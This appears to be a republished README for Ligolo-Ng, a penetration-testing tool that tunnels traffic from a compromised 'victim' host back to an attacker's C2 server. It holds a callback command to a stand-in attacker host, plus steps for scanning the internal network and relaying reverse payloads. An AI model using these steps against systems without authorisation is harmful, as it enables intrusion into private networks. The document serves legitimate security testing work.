Ligolo-Ng : An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

Ligolo-Ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection without the need of SOCKS.

Features

• Tun interface (No more SOCKS!)
• Simple UI with agent selection and network information
• Easy to use and setup
• Automatic certificate configuration with Let’s Encrypt
• Performant (Multiplexing)
• Does not require high privileges
• Socket listening/binding on the agent
• Multiple platforms supported for the agent

How Is This Different From Ligolo/Chisel/Meterpreter… ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

• SYN are translated to connect() on remote
• SYN-ACK is sent back if connect() succeed
• RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
• Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Building Ligolo-ng

Building ligolo-ng:

$go build -o agent cmd/agent/main.go
$go build -o proxy cmd/proxy/main.go
#Build agent for Windows
$GOOS=windows go build -o agent.exe cmd/agent/main.go

Setup Ligolo-ng

Start the proxy server on your Command and Control (C2) server (default 11601 listening will be use):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let’s Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let’s Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let’s Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote=”XX.XX.XX.XX:38000″

Use the session command to select the agent.

ligolo-ng » session
? Specify a session : 1 – nchatelain@nworkstation – XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig
[…]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

$ sudo ip route add 192.168.0.0/24 dev ligolo

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[…]
$ rdesktop 192.168.0.123
[…]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server

[Agent : nchatelain@nworkstation] » listener_add –addr 0.0.0.0:1234 –to 127.0.0.1:4321 –tcp
INFO[1208] Listener created on remote agent!

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘
[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.

Does It Require Administrator/Root Access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported Protocols/Packets

• TCP
• UDP
• ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8.00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver

Caveats

Because the agent is running without privileges, it’s not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.